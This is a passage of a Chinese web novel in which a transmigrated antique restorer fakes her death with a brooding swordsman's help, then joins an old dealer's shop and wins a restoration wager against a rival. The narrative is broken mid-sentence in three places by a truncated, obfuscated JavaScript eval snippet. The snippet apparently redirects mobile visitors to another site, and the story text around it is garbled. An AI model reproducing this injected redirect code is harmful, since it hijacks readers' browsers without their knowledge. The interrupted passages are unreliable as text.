第二天,路元玉正在洗衣服,突然,昨天的那种感觉又来了。 但她动作只是一顿,没有抬头寻找。 昨天那人看了她一会儿就离开了,今天应该也是很快就会离开。 自从季修宁见过她之后,她就有了这种被人窥视的感觉,不用猜都知道那人是谁。 只是不知道他为什么会这么做,难道是自己的说辞还没让他完全相信? 他想暗中盯着自己,看自己私下有什么异常吗? 也说得过去。 不过这种被人窥视的感觉真不好受,只要被他盯着,自己的第六感就一直在给自己的身体发送危险信号。 一个时辰下来,比她干一天体力活还要累。 路元玉低着头,目光闪了闪。 第三天,路元玉正在扫院子,依旧被盯了很久。 第四天,路元玉正在清理马厩,被盯。 第五天,路元玉和别人聊天时…… 第六天…… 就这样过去了半个月,路元玉依旧没什么反应。 直到这天气温骤降,下了大雨,路元玉感冒了。 原本以为只是普通的感冒,但断断续续过了一星期,不仅没有痊愈的趋势,还越来越严重了。 她神色萎靡,精神不济,似乎走两步路就要倒下去似的。 但驿站里似乎没人发现,也没人给她叫大夫。 她每天的饭根本没什么营养,病了之后更是不好好吃饭,唇色都深了很多,像是中了毒似的。 又过了一个星期,她似乎终于挺不住了,在柴房里躺了一天。 那道阴森冷漠的目光也盯了她一天。 晚上,就在季修宁以为路元玉要死过去了的时候,柴房里的那扇窗户忽然被打开了。 路元玉双手苍白,将一块折的方方正正的纸放在窗台上,然后像是撑不住了似的,猛地倒了下去。 窗户被摔了一下,又向上弹起,再落下时,留了一道缝隙。 季修宁空洞死寂的瞳孔骤缩,紧紧盯着那纸条不眨眼,等了很久之后,才运气飞了过去。 拿起纸条,转身要走,却猛然听到身后传来一道清脆的声音。 12. 第十二章·离开 “偷偷看了我这么久,有发现点什么吗?” 她声音清脆有力,丝毫不像中毒之人。 季修宁阴冷的目光毫无感情地扫过路元玉,随即就要离开。 路元玉:“你如果现在离开,你想知道的东西就永远不会有答案了。” 季修宁身形微顿。 路元玉:“你想知道什么,我都会告诉你。” 见他紧紧攥着手中的纸条仍不肯回话,路元玉耐心告罄,利落地翻身出来,走到他身前。 路元玉:“你想知道上面写了什么东西?不妨现在就打开看看。” 季修宁眼眸微抬,目光沉郁,一言不发,只是捏着纸条的那只手用力摩挲了两下。 路元玉被他盯了一眼,瞬间感到一身寒意,似乎被一条藏在暗处的毒蛇给盯上,有一种阴森的感觉。 她抿紧唇,对待这种亡命之徒,最忌讳的就是害怕。 本来她已经放弃了让他帮自己的想法,但他又主动送上了门。 她心里有了一个离开的完美办法,只要他肯帮忙。 为了不让他在答应自己前就杀了自己,路元玉假意做出给人通风报信的举动,为的不仅是引他出来。 他怀疑她背后有人后,为了让自己背后的人出来,就不会再轻易杀了自己。 路元玉神情坚定,态度坚决,季修宁眸光微闪,抬起手,将纸条展开。 上面一片空白,一点墨迹都没有。 捏着纸条的手指用力到泛白,似乎是生气极了。 但除了面色更冷之外,他什么都没说。 只是将纸条扔下,想运功离开。 路元玉见状,连忙扯住了他的衣角。 季修宁察觉到,表情森寒地瞥她一眼。 路元玉会意,却壮着胆子说:“我不松,除非你带我走。” 季修宁眯眸。 “你不是对我很好奇吗?如果你带我走,你想知道的一切都会有答案。” “而且我只会救你不会害你。如果我想害你,早就下手了。” 闻言,不知他想到了什么,神色有些松动。 下一秒,冰凉的手掌便捏住了她的手腕。 路元玉见他默认,心中一喜,但还记着自己的计划,连忙按住了他的大掌。 “等一下,我不能就这么走了。” 季修宁又停下,阴郁的目光透露出几分疑惑。 路元玉笑了一下,清亮的眼睛像一汪水潭。 “你得去帮我弄一具女尸来,然后一把火把这里烧了。” 季修宁不动。 路元玉:“我的身份特殊,如果就这样不明不白地离开,一定会引起官府大规模搜查,到时候我会很危险。” 季修宁还是不动。 路元玉:“到时候我如果被抓走,你想知道什么都晚了。” 季修宁沉默片刻,吐出两个字:“不会。” 路元玉微楞,一下子明白他好像是在说,他不会让她被抓走。 眉眼微弯,但还是劝道:“到时候会很麻烦。” 这时季修宁才放开她的手,运功飞了出去。 这次路元玉没有阻拦,因为她知道,他还会回来。 果然,一炷香的时间后,季修宁肩膀扛着一具女尸,重新出现。 见此,路元玉眼中的笑意又浓了两分。 在季修宁的帮助下,他们将女尸抬进柴房里。 路元玉给女尸换上自己的衣服。 一切准备就绪后,路元玉坐在后院的墙头上。 季修宁拿着火把,缓缓靠近柴房,然后慢慢的,柴房被点燃,成了一片火海。 旁边马厩里的马受了惊,将木门撞开,跑了出去。 喝醉酒的常三被这么大的动静给惊醒,出门一看,外面已经乱了套。 路元玉二人在常三出来后之后就离开了,他们来到一处溪流旁。 看着前面溪水潺潺,清风阵阵的大自然,路元玉此刻有一种极强的不真实感。 她在这里已经待了将近三个月,没想到就这样出来了。 微风拂过,吹在她心里,这是自由的味道。 路元玉不禁想,如果原主知道了,肯定会更开心吧。 想到原主,她清亮的眼眸逐渐染上些朦胧泪意。 她想忍住,却越忍越难过,越忍越委屈,越忍哭得越厉害。 原主的情绪太过强大,她控制不了,便破罐子破摔,痛痛快快哭了一场。 这一哭,把穿越来这世界受到的委屈和惊吓也都统统哭了出来。 一边哭她还一边观察季修宁的反应,她担心他嫌自己烦,趁自己不注意将自己丢在这里。 虽然她现在恢复自由了,但没有户籍,在这个世界也是寸步难行。 此外,她其实还有一点小心思。 她觉得自己费心又费力地要保护他一辈子,他却什么都不做怎么行? 既然想要一辈子性命无忧,那总该也要付出点什么吧? 季修宁却什么表情都没有,只是沉默着递给她一方手帕。 路元玉有些惊讶,一边哭一边道了谢。 她哭完后,感觉浑身轻松了很多,好像原主的委屈跟着眼泪一起蒸发了。 走到季修宁面前。 季修宁看了眼她红彤彤的脸和肿的像核桃似的眼睛,移开了目光。 路元玉声音沙哑:“我们走吧。” 季修宁却没有动作。 路元玉疑惑抬头,却见季修宁正用审视的目光盯着她。 她蓦然想起来刚才自己给他的承诺。 ——“你不是对我很好奇吗?如果你带我走,你想知道的一切都会有答案。” 路元玉点点头。 “你想知道为什么我总能恰好知道你遇险,是不是在你身上下了什么东西,对吧?” “其实很简单,我没有给你下什么东西,我只是可以感应到你的生命。先别生气。你健康的时候我是感受不到的,只有你快死的时候,我才能感受到。” “这三次都是通过这种感觉感应到的,就像母子连心一样……我的意思是,我们可能是命中注定的缘分,有可能我濒危的时候,你也能感受到,到时候你就信了。” 路元玉没办法了,她也不知道该怎么完善这个漏洞,只好将一切都推给了命运。 季修宁冷漠疏离的表情第一次有了些龟裂的迹象。 瞬间,她纤细的脖颈被粗糙的手掌狠狠掐住。 他的手很大,很凉,皮肤接触的瞬间,这股寒意顺着皮肤直接凉到了路元玉的心里。 像是直接被毒蛇咬住了命脉,毒液正在缓缓渗透。 脖颈上的手越来越用力,路元玉挣扎的动作也越来越微弱,面色因为血液不流通涨得通红。 季修宁却目光冷漠无情,面色平静,仿佛掐死一个人是再正常不过的事情。 路元玉眼球突出,腹中绞痛,就在她以为自己真的要命丧于此时,脖颈上的大掌忽然松开了。 路元玉力气尽失,像一条鱼般滑到了地上。 新鲜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001540|193966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的空气猛地窜入她肺里,呛得她不住的咳嗽,咳得眼泪连连。 季修宁面色冰冷地看着她。 路元玉不知道季修宁在想什么,只知道她又从他手中活下来一次。 路元玉压下眼中晦暗,拼命咳嗽起来。 窒息的感觉太难受,相比上次被匕首威胁还要粗暴、不留情。 季修宁等她恢复好后,毫不留情将路元玉又扛起来,脚尖轻点,飞走了。 路元玉刚缓下来的心情又一次紧张起来,同时因为今晚经历了太多刺激,脑袋有些昏沉。 上上下下飞了几次后,路元玉逐渐适应,感觉好多了。 等她平复好心情,心底又有另一种情绪在不断发酵,路元玉察觉到时,一脸的不可置信。 兴奋、紧张、刺激。 她的毛孔在扩张,心脏在快速跳动,仿佛刚才只是经历了一场刺激的极限运动。 剧烈的心跳声“咚咚咚”的在身体中回响,似乎马上就要跳出来飞出去。 她竟然很喜欢这种刺激。 又上上下下落了十几次后,季修宁带着她直接落在了湖州府的一处宅院内。 现在已经是后半夜,巷子里灯火尽息,异常安静。 季修宁把她放在地上时,她还有些不在状态。 不过季修宁并没有过多照顾,直接撤了手去敲门。 路元玉腿一软,差点又摔下去,幸好扶住了旁边的墙壁。 “谁?” 里面传来一声谨慎的问询,声音听起来像是六七十岁。 季修宁:“是我。” 门被从里面打开,一个穿着中衣,随意披了件外袍的老人,打开了门。 见到季修宁,就想见礼,却被他抬手拦下了。 季修宁看了眼路元玉。 老头跟着看过去,然后和蔼地介绍道:“你好,我姓侯,是修宁的朋友,请问你是……” 路元玉调整好状态,乖巧地鞠了个躬,“侯爷爷您好,我叫……李元玉,您叫我元玉就行,他带我来这里……” 说完看了季修宁一眼。 她也不知道他要干嘛。 侯四同却在和季修宁对视一眼后明白了。 “奥我知道了,元玉是吧,修宁同我说起过你,这几日你就现在我店里帮忙,等以后你想离开就离开。” 路元玉挑眉,有些惊讶。 季修宁会有这么通情达理的朋友? 不过没有多说,只是笑着点了点头。 侯四同见状,又看向季修宁,试探着说:“如果没什么要紧事,咱们就明天店里说罢。” 季修宁点点头,转身就要走。 侯四同突然叫住他,“修宁,你忘了,我这里只有一间屋子,没有姑娘住的地方啊。” 季修脚步顿住,拿出几个铜板递给路元玉,瞬间闪身离开了。 侯四同习以为常,但还是对路元玉有些不好意思地解释道:“他这个人就这样,话不多但心肠不坏,多接触接触就知道了。” “你拿着这钱,在周围找个店先住着,等明天我把店里的仓库收拾出来让你住着。” “你也别嫌弃,这么多年店里就我一个人,糙习惯了。” “奥对了,我的店是个古董店,叫‘博古轩’,在玉柳巷上,离这里不远,明天直接去店里找我就行。” 路元玉连连点头。 她离开后,随便找了个店,先是要了桶水,浑身上下全都洗了一遍,才舒舒服服睡下。 她的新生活就要开始了。 13. 第十三章·青白玉夔龙纹剑璏 翌日,路元玉早早起床,一边打听,一边来到了博古轩。 店面不算大,只有侯四同一个人。 早上的古董店很冷清。 侯四同戴着眼镜正在喝茶,见到路元玉后,连忙放下茶杯起身。 “你来啦,吃饭了没?” 说着就从柜台里拿出一份热乎乎的米粥和一碟菜。 路元玉连忙去扶,心里感到一阵温热。 “吃过了侯掌柜。您不用管我,快坐吧。” 侯四同顺势坐下,笑道:“你不用拘谨,既然修宁把你托付给我,我们就是一家人。” 他指着桌上的热粥,“来这么早,肯定还没吃饭,快趁热吃吧。” 路元玉确实还没吃饭,原本并不觉得饿,但闻到粥的香气后,肚子不争气地叫了起来。 她便不再推脱。 “那我不客气了。” 路元玉吃完饭后将店面收拾擦试了一番。 侯四同以往都是一个人在店里,没什么人可以说话,现在店里多了个人,他显然非常开心,拉着路元玉问东问西。 路元玉最不擅长的就是唠家常。 让她有目的的聊天可以,但漫无目的的聊天,她实在是不知道该说些什么。 相比起来,她竟然觉得和季修宁在一起时更自然一点。 侯掌柜的却好像察觉不出她的尴尬,尽管她只简单回应个一二字,他都开心不已,兴致十足地继续说下去。 他这副兴高采烈的样子,让路元玉想起了一个人——她的师父。 在现代的时候,她初中毕业就拜师学习古文物修复技术,大学之后更是选择了师父所在学校教授的该专业。 直到研究生毕业后,师父将他毕生所学都传授给了她,他老人家便退休了。 自己和师兄师姐偶尔去探望师父时,师傅就总是开心地拉着他们问最近有没有发生什么新鲜事,听到师兄师姐们抱怨她太卷时,师父就装作没听见,随便说个什么糊弄过去。 她和师父虽然没有血缘关系,但她很喜欢师父,这种喜欢是弟子对师长的尊敬和孺慕之情,激励着她成为越来越优秀的专家。 师父虽然也偏爱她,但对她也是最严厉的,只要她稍有松懈,师傅就会罚她抄写论文或专业书,动辄几百遍。 所以虽然师兄师姐们不满师父对她的偏爱,但也不羡慕她,只是嘴上抱怨抱怨而已。 他们谁都受不了师父对她的魔鬼训练。 原本穿来这里之前,他们师兄妹刚和师父聚过一次,但现在她又有点想师父了。 路元玉感到眼睛周围有点温热。 她连忙扭过头,佯装打量这里的布局。 “侯掌柜,您这件店铺开了多久了?” 侯四同还在回味上一个话题,冷不丁听到路元玉问了这么个问题,没有片刻犹豫,骄傲地笑道:“我二十岁的时候开的,今年我马上七十了,你自己算算吧。” 路元玉闻言佩服不已:“竟然有五十年历史,太厉害了。” “嗐,这有什么。我是只会看古董,不会修,同一条街上那个赵掌柜,还会修,因此啊,抢了我不少生意!” 说到这个,侯四同好心情瞬间破灭,心头一股火起,端起茶喝了口压了压,才感觉好多了。 “不说这个,今天是你第一天做工,按惯例晚上要请你吃顿饭,你喜欢吃什么?我一会儿去准备一下。” 路元玉的注意力却全都在“修古董”这三个字上了,根本没听见侯四同说要请她吃饭。 她想,如果一直在他这里帮忙修古董也挺好的。 这个老板是季修宁的朋友,如果季修宁再次遇到危险,方便自己救他,而且更重要的是,她很喜欢这个老头儿。 反正这只是在一本书里,她不求自己能立什么功名,也不想有什么大志向,只想安安分分活到季修宁寿终正寝,然后回到自己原本的世界。 如果她能在侯掌柜这里做工,不仅能解决自己的温饱问题,还能给侯老爷子带来收益,何乐而不为呢? 细细思索一番后,路元玉眼眸亮亮的,看着侯四同说道:“侯掌柜,实不相瞒,其实我也会点古物修补之术,如果您相信我,可以让我给您修补残缺的古董,不管是书籍、画作还是器物,我都可以。” 说完,路元玉心里忽然有些忐忑,感觉自己有些冲动。 她倒是想的挺美,万一人家老爷子不需要呢? 不过路元玉没担心太久,因为很快她就听到侯掌柜洪亮的声音问道:“此话当真?” 路元玉看去,侯掌柜的白眉毛都上扬两分。 路元玉忍俊不禁,认真点头:“此话当真。” “那太好了!”侯掌柜激动地想要站起来,“这个赵卓远,自从他到了这里开店铺,我这里的生意那可真是一落千丈!我看不顺眼他已经很久了。如果你能有办法把客人从他那里抢回来,那我给你每月两百文的工钱!” 虽然看上去修补古董和卖卖古董没什么关系,但一般拿去修补古董的,以后想卖,都会首选之前与自己有过交易的古董铺,因此会古董修复技巧对股东行业来说只有利没有弊。 “侯掌柜,您太见外了。您能收留我,我就已经很高兴了。” “诶,别跟我见外,一开始我是怎么跟你说的?” 侯掌柜佯装不悦,忽然又想起什么,转身从柜台上拿出一把钥匙,递给路元玉。 “这是后面库房的钥匙,昨日你和修宁走后,我想了想,一直让你住客栈不合适,今天一早便把后面库房收拾了一下,你今天就搬进去。” 路元玉看着那个把孤零零躺在侯掌柜手心的铁制钥匙,心里又热了几分。 “好,谢谢侯掌柜。” 晚上,侯掌柜本来想带路元玉去饭馆,但路元玉说什么也不愿意去,说要亲自下厨给侯掌柜做饭。 侯掌柜推脱不过,只好提前闭了店,带着路元玉上街买了一些肉和菜,回到了侯掌柜的独栋小院儿。 侯掌柜的小院儿在西南方向的琵琶弄里,路元玉昨日虽然被季修宁带着来过,但那时天黑,看着冷冷清清。 现在正是人们回家的高峰期,巷子周围热闹不已。 他们见到侯四同身边跟着一个陌生的女人,也都不问怎么回事,礼貌地打个招呼就离开了。 侯掌柜的小院儿只有一间正房,在东边搭了个棚子做厨房。 进来一看,路元玉发现侯掌柜自己一个人将院子收拾得干干净净整整齐齐,一时间不免又增添了几分好感。 她师父虽然学术上很成功,对待他们几个徒弟也很好,但生活上都是师娘一个人操办,还是现在师娘年纪大了,他们几个徒弟才开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001541|193966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮着照顾师父。 路元玉在厨房熟练地手起刀落,侯掌柜不时过来看看情况,两个人有说有笑,不知道的还以为是一对平常的祖孙。 天色渐渐暗下来,挨家挨户都点上了油灯。 侯掌柜也将油灯拿到外面的石桌上来。 现在正是夏季,在晚风中吃饭,很是惬意。 两人吃完饭后,路元玉就早早回去库房了。 路元玉在这里生活了两天,这两天她比刚穿来时任何一天都轻松惬意。 而且也没有科研压力,如果可以,她想一辈子都在这里躺平。 这天晚上锁门回到库房,路元玉感觉房间里好像有一丝别人的气息。 她拧眉谨慎观察一番,发现桌子上压着一张纸。 路元玉拿起来一看——竟然是新的户籍! 她惊喜地上前拿起,放在油灯下细细观摩,上面红色的印章仿佛还未完全干透。 她本来还担心季修宁用原来的姓氏给她办新的户籍,没想到不用她提醒,他也给她换了一个新的——“李”姓。 她抬起头,视线在周围环视一圈,却并没有发现屋里有第二个人的存在。 但她也知道,这是季修宁送来的。 他知道她需要什么,她打消了他的疑虑后,他也愿意满足她。 心里不由得有些高兴,她赌对了。 当初决定跟季修宁走以后,她已经做好了被他恐吓、折磨的准备,没想到他只是在离开那晚差点情绪失控掐死她,后面竟然意外的好说话。 他答应她的全都做到了。 路元玉此刻才终于理解了为什么有人喜欢炒股——投入是巨大的,但回报也是丰厚的。 翌日,侯四同来到店里时,发现店门已经开了。 他抬脚走进去,发现路元玉正在里面擦桌子和台面。 见路元玉这么勤快,侯四同欣慰不已,连忙招呼她过来。 侯四同从怀中掏出一个素面无纹的深青色旧锦囊,笑着递给她。 “这是一枚西汉时期的青白玉夔龙纹剑璏,是我年轻时买下的第一件古物,跟随我多年,但不小心摔成了两半。昨日你说你会修古物,我便起了心思,想让你帮我修一下。” “如果不方便,就当我没说过。” 路元玉接过来,放在桌面上拆开看了看。 这是一件长约十厘米,宽不到三厘米的青白色夔龙纹剑璏,是古人佩戴剑时,用于将剑固定在腰带上的饰物。 器表浮雕一条简洁有力的夔龙纹,线条流畅,雕刻精美。 而此时器物从中部横向断裂为两截,断口老旧,但拼合后纹路基本能衔接。其中一截的龙眼处,镶嵌的极小红玛瑙也脱落遗失,留下一个微小凹槽。 路元玉修复过多种器物,此时一看便知不难,便应道:“承蒙您老的信任,我一定会将此物修好。” 想了想,路元玉问道:“只是这红玛瑙……您是想用相近的老红玛瑙复原,还是用其他材料弥补?” 听到路元玉这么问,侯四同爽朗地笑了两声,“不用为难自己,你我心里都清楚,就算他再怎么复原,也和以前不一样了,你只管修复便可。” 路元玉听明白了侯四同的话,应道:“好,那我今日就开始准备修复的东西。” 侯四同却笑着摇了摇头,“不急。” 14. 第十四章·打赌 一个时辰后,侯四同拿着那件青白玉器,带着路元玉来到了宝盛昌。 宝盛昌的店面就像它的名字般阔气,“宝盛昌”三个字用一个金色招牌挂在门楣正中间。 大门两侧配了对对联。 上联:金玉其外;下联:慧眼识珍。 侯四同两人刚走到门口,便见一个伙计迎上前来,笑道: “哟,侯掌柜,什么风把您给吹过来了?” 侯四同笑着摆摆手,“今天还真的有点事,去把你们赵掌柜叫来。” 说着就要往里面走。 然而伙计却将他拦了下来,一脸为难道:“真不巧,我们家主子一早出去了。要是知道今日您要来,主子肯定备好茶等您啊!” 侯四同面色微沉,仍笑道:“没事,我等会儿便是。” 说着不管伙计如何拦,都抬脚走了进去,坐在了专为客人准备的椅子上休息。 路元玉也跟了进去。 她不说话,暗暗观察着宝盛昌内的古董。 店内的架子上摆满器物,显得有些拥挤,有真有假,全都平平无奇。 最引起路元玉注意的是,正对大门的独立紫檀木高台之上,放着一个带精巧铜锁的厚玻璃罩,罩内摆放着一件鎏金摩羯纹银壶。 上方摆了两盏烛台打光,更显的器物本身流光溢彩。 路元玉都暗自惊叹。 想必这件就是镇店之宝了。 每个古董店为彰显身价,都会设置一个镇店之宝,比如侯掌柜店里的镇店之宝就是个战国时期的青黄玉璜。 路元玉沉浸地欣赏了一会儿,看到店内陆陆续续来了些客人。 然而这些客人在看到侯四同时,都打了个招呼,转身就离开了。 侯四同却还乐呵呵的坐在那里,等着赵掌柜出来。 赵掌柜在后面看着自己的客人全都跟水一样流走了,心痛不已,终于忍不住从后面的帘子里走了出来。 一副风尘仆仆的样子。 “侯掌柜,真是稀客,稀客呀!”赵掌柜抱拳,向侯掌柜问好,“您老来怎么也不提前说一声,若是我知道您今日过来,我说什么也不去办什么破事!” 侯四同:“诶,话不能这么说,是我没有提前告知,突然上前拜访,于礼多有不合。” 赵掌柜笑了两声,将目光放在了路元玉身上,“这位是?” 刚才他就注意到了,这个女人从进来就一直盯着他的镇店之宝看个没完,一副没见过世面的样子。 侯四同简单介绍道:“这是我店里新来的伙计,不用在意她,我们聊就行。” 赵掌柜了然点点头,“您老早就该往店里找个伙计帮您打下手了,现在终于想通了。不过啊,” 他瞥了眼路元玉,凑近侯四同,压低声音道:“您怎么找了个女人?那些东西她能搬得动吗?要我说啊,我这里的伙计小厮,您看中了哪个随便挑就是!” “嗐,”侯四同笑道:“你别看她个子小,力气可大着呢。赵掌柜,今日贸然登门,还真有点事想问问你。” 见侯四同面色认真,赵掌柜也认真起来,抬起一只手为侯四同引路,“我们里边说?” 跟着赵掌柜来到内间,赵掌柜命人给侯四同倒了杯茶。 侯四同象征性抿了一口,便从怀中掏出那个深青色旧锦囊,放到桌面上。 “早就听闻赵掌柜法眼如炬,您的手能化腐朽为神奇,所以今日想请赵掌柜看看我这个能不能修?” 赵掌柜被夸的有些飘飘然,但还是谨慎地看了侯四同一眼,才让人将锦囊拿到他面前。 他慢慢拆开,看到里面的东西后,面色有些为难。 沉默片刻后,他皱眉道:“侯掌柜,不是我不愿意帮你,你这剑璏断裂时间,少说也有十几年,磨损这么严重,还丢了一颗玛瑙。这样成色的玛瑙,我去哪里给您找去!” 侯四同眼中闪过一丝得意,不动声色道:“你的意思是,不能修?” “修倒是可以修,不过有些为难罢了。” 侯四同:“有多为难?” 赵掌柜狐疑地看着他,道:“大概需要三个月,三十贯铜钱罢。” 侯四同和路元玉对视一眼。 见到她胸有成竹地眼神后,更是开心地笑了出来。 “侯掌柜,您这是?”赵掌柜看着他不同寻常的样子,有些摸不着头脑。 侯四同爽朗道:“那我就不跟你卖关子了。” 他指了指后面的路元玉,“其实她不仅是我新招来的伙计,也懂一点古董修复之道。” “她?”赵掌柜闻言,面色怀疑,语气略有不屑道。 侯四同点头,“实不相瞒,来之前,我就已经问过她了,她说用不到一个月就能修复完成。” “不到一个月?”赵掌柜更是不信,甚至有些生气,从椅子上站起来。 “侯掌柜,我好心请您老进来喝茶,您却是故意来给我找茬了是吧?” 侯四同好脾气地笑着摆手,“赵掌柜这说的是哪里的话,咱们同在一条街上,低头不见抬头见,我找什么茬?” “我就是知道你懂,这不是来找你问问吗。” 赵掌柜视线在路元玉身上上下扫了好几遍,看着她破破烂烂的衣服和木讷沉默的神态,赵掌柜最终下定结论:这个女人一定是个骗子。 “侯掌柜,我劝您一句,您年纪大了,就不要瞎折腾了,免得折腾到最后,人财两空啊。” 侯四同摇摇头,“说实话,要是你早点跟我说这话,我就听你的了,可现在,我觉得这李姑娘说得对。” “哦?” 侯四同:“赵掌柜,既然你不信李姑娘能在一个月之内将此物修好,那我们来打个赌怎么样?” 赵掌柜皱眉,总算明白今日侯四同过来是干什么了。 无非就是想给他个下马威。 他一个老头子,竟然以为自己会输给一个小丫头片子? 赵掌柜轻嗤一声,不屑道:“侯掌柜,等你输了以后可别怪我没提醒你。” 侯四同没想到他竟然这么轻易就答应了,连连笑道:“不会的不会的。赵掌柜,堵住我已经想好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在现实世界的时候,她因为出众的能力被师兄师姐们信任,但在项目出问题时,他们还是会怀疑自己的能力,那时她才彻底意识到,没有人会彻底相信她。 然而没想到,眼前这个老头儿却堵上了店铺的前途,轻轻松松给了她独一份的信任。 路元玉只用了半个月就将剑璏修好了。 但她还是等到一个月,才跟着侯掌柜去赴约。 两人来到宝盛昌时,外面已经围了很多人,有一些大多都是来看热闹的。 无视掉他们嘈杂的讨论声,两人面不改色的走了进去。 宝盛昌今日有所不同,店面中央的展示柜被抬放到一边,换了一个普通的红木桌,红木桌两边各摆放了两张太师椅,每个太师椅上都坐着一位中年男子。 见侯四同二人进来后,以赵掌柜为首,那四个人都纷纷站起来迎接侯掌柜。 “侯掌柜,快来,我们等你好久了!” 15. 第十五章·阴谋 赵掌柜将侯掌柜迎到红木桌的斜后方,让他坐下,自己则是站到桌子前面,宣读今日的开场白。 “乡亲们,想必大家都知道今日为什么我宝盛昌这么热闹,原因是这侯掌柜,收了一个伙计,那个伙计说能把侯掌柜那个断成两半的剑璏在一个月内修好,我不信,嘿,人家偏要跟我打赌。” “我也不在怕的。大家伙都知道文物修复是多难的活儿,我平日里给大家伙儿修东西,就算是最简单的我都不敢说一个月之内能修好,别说我了,就今日在座的这几位,谁敢说出这样的大话?” 赵掌柜双手在那四人身上略略一指,示意道。 那四人也是很给面子地点了点头,眉头紧皱,一副不赞成的样子。 赵掌柜笑了一下,又道:“不过啊,看在那伙计年轻,又是个女人的份儿上,想出人头地,咱们给她个机会。如果今日她并没有修好,咱们大家也不要为难她。以后啊该怎么还怎么,不要给人家太大的压力。” 乡亲们见赵掌柜这么体贴,纷纷点头迎合,但心里同时也对不知天高地厚的侯掌柜和路元玉更加不喜。 对古物稍有点研究的人都喜欢踏实、低调、严谨的后辈,像路元玉这样激进的,他们都不怎么喜欢。 今日他们过来,也只是想看看这个女人是怎么丢脸的,免得茶余饭后说起来时,自己不知道。 赵掌柜又说了几句,宣布今日的鉴赏大会开始,主要是鉴赏路元玉修复的那枚剑璏。 等众人都落座后,路元玉才不慌不忙,走到红木桌背后,将修好的剑璏从木盒里拿出来,慢慢将它举到半空,让人看得更清楚。 一时间空气中众人刻意压低的呼吸声都清晰可闻,都在目不转睛地盯着她手上的这枚剑璏。 只见玉器表面温润光滑,盈盈透光,咋一看,根本看不到赵掌柜所说的那道断痕在哪里。 赵掌柜自傲的神情也有点龟裂。 路元玉看了眼众人的表情,微微笑着,将它拿到了赵掌柜眼前。 赵掌柜小心的接过,目不转睛地将剑璏翻来覆去地看了个遍,原本僵硬的面色在看到龙眼处的那抹朱砂红后,瞬间放松下来,长舒了口气。 但还是装模做样道:“你这清洗,对接,微补的技艺还算不错,不过,这龙眼处,你不该用朱砂,这是你最大的败笔。” 他将剑璏放到小厮拖着的托盘上,让他拿下去给那四位先生看。 四位先生也都是如出一辙,与找掌柜的意见一模一样。 赵掌柜:“不过你竟然能在一个月之内,完成如此复杂的清洗和微补这两项步骤,也算是青出于蓝了,哈哈哈!” 路元玉笑,道:“赵掌柜为何认为我使用朱砂补睛是败笔?” 赵掌柜嗤笑一声:“既称‘修复’,就要做到天衣无缝,神鬼莫辨。否则便是手艺不精,留个疤瘌给人看,算什么本事?” 路元玉:“赵掌柜所求‘天衣无缝’,是以今人之手,夺古物之龄。器物每一道裂痕、每一处磨损,都是它见证过的历史。修复如同医者接骨,接续的是血脉,而非换上一副新皮囊。若修得全然如新,它与新造之物,又有何异?” “你这是胡搅蛮缠!”堂两侧,四位先生中最暴躁的那位气道:“客人找我们来修复,若我们修完,还看得出破绽,那客人就不认账,到时候,你找谁说理去?” 路元玉:“先生这意思是经过您手的文物,您都能将其修复如初,不留任何痕迹?” 见他不说话,路元玉又道:“既然不能,为何不将短处大大方方展示出来。客人来修复文物,想必修复的不只是一个文物,更重要的还是一份念想。若是真的将其修复如初,客人也会觉得少了点什么。” 听她如此一番话,门外看戏的乡亲们也都纷纷讨论起来。 “说的也是,上次我给赵掌柜送来个玉壶,我当时想把它修好,又怕他修得太好,后面见他果然没有修得像新的一样,我顿时就心安下来了!” “这姑娘说的有点道理,这些器物见证的是历史,如果把他们修得像新的一样,那还修它干嘛,干脆买个新的得了!” “是这个理!” “没想到这位姑娘年纪轻轻,就能有此番见识,失敬、失敬啊!” 见百姓们都站在了路元玉这边,赵掌柜气不打一处来:“去去去,你们懂什么?我修复文物还是你们修复,不懂就别乱说!” 眼见赵掌柜落于下风,看热闹的都判定他输定了,更是不嫌事大地喊道:“赵掌柜,不管怎么说,今日是你输了,以后我们要修文物,可都要去找这位姑娘了!” 赵掌柜面色一阵青一阵红,让小厮将他们赶走了,关上了门。 室内,就只剩下赵掌柜、侯掌柜、路元玉和那四位先生。 赵掌柜脸色阴沉地盯着路元玉,一言不发。 那四位先生也不敢多说一句话。 这几人中,只有侯掌柜从头至尾都一脸笑眯眯的样子。 此刻见人都不说话,他便从椅子上站了起来,道:“既然大家都没什么问题,那我就先带着她回去了。” 赵掌柜双唇微动,想说什么,却没说出来,让他们离开了。 侯四同二人离开后,那位暴躁先生猛地上前一步,双眉竖起道:“就让他们这么走了?” “郑兄弟,勿急。”一位稍稍年长的,蓄着一小撮胡须的人拍了拍他肩膀,看向赵掌柜,“赵兄心里应该已有办法。” 郑尚连忙看向赵掌柜,问道:“什么办法?” 